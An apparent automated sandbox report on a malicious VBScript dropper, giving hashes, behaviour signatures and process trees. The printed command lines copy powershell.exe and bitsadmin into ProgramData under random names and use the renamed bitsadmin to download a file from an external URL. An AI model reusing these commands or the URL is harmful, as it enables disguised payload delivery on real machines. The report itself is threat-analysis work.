Analysis
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max time kernel
118s -
max time network
118s -
platform
windows7_x64 -
resource
win7-20240705-en -
resource tags
arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system -
submitted
12-08-2024 04:16
Static task
static1
Behavioral task
behavioral1
Sample
8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs
Resource
win7-20240705-en
General
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Target
8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs
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Size
9KB
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MD5
8d480d61c5cf6b2159351ef893b231be
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SHA1
eaf0c1753e9b0da1c6312e05a2e22238625bfe38
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SHA256
6974d7e0bc78fe05635852aabd1f112eea8ba7651f1032d26c4145c30e036e4e
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SHA512
dff09e98af520e2492cc6c610394186f7ceaff8f8c406854318e9eaa22a2104393f7d7a6f1faf7caf4dfc4ec998ba4dbcc7161d4f573147423eb6a46562ad324
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SSDEEP
192:vrE1FzIZvtX4nBzxr6s3khSbI3z0pY/qMkAiKCjHXuqT/nt9BXEWFLFL:vIbgvtX4nBzxr6s3khaIYpY/qmCjHeqV
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
pid Process 2920 zIHUzOoin.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language zIHUzOoin.exe -
Suspicious use of WriteProcessMemory 13 IoCs
description pid Process procid_target PID 2352 wrote to memory of 2044 2352 WScript.exe 30 PID 2352 wrote to memory of 2044 2352 WScript.exe 30 PID 2352 wrote to memory of 2044 2352 WScript.exe 30 PID 2044 wrote to memory of 1668 2044 cmd.exe 32 PID 2044 wrote to memory of 1668 2044 cmd.exe 32 PID 2044 wrote to memory of 1668 2044 cmd.exe 32 PID 2044 wrote to memory of 1516 2044 cmd.exe 33 PID 2044 wrote to memory of 1516 2044 cmd.exe 33 PID 2044 wrote to memory of 1516 2044 cmd.exe 33 PID 2352 wrote to memory of 2920 2352 WScript.exe 34 PID 2352 wrote to memory of 2920 2352 WScript.exe 34 PID 2352 wrote to memory of 2920 2352 WScript.exe 34 PID 2352 wrote to memory of 2920 2352 WScript.exe 34
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\8d480d61c5cf6b2159351ef893b231be_JaffaCakes118.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:2352 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aKYqSzI.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\zIHUzOo*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2044 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aKYqSzI.exe3⤵PID:1668
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\zIHUzOo*.exe3⤵PID:1516
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C:\ProgramData\zIHUzOoin.exe"C:\ProgramData\zIHUzOoin.exe" /wrap /transfer YEXJvszs https://marthayfabrizio.com/fibra/PSQDNL70C17G999C/first.rtf C:\ProgramData\first.rtf2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
PID:2920
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
182KB
MD50920b14aa67a8b04acf48ffe7c6f0927
SHA13421124253058dc21453ebac531b67aeb999f627
SHA256838670c83e6d1984d0c46e39c196028d292b3a6d2df96183f2f6e408f1a16e00
SHA5122b0a9800736cb27316be5e376842bce59ce08089046aaef930da837eb59d1c084106ce447320346911c6fa3c8a32e4e41209b12bb868ac2cd9848d69a9adbe51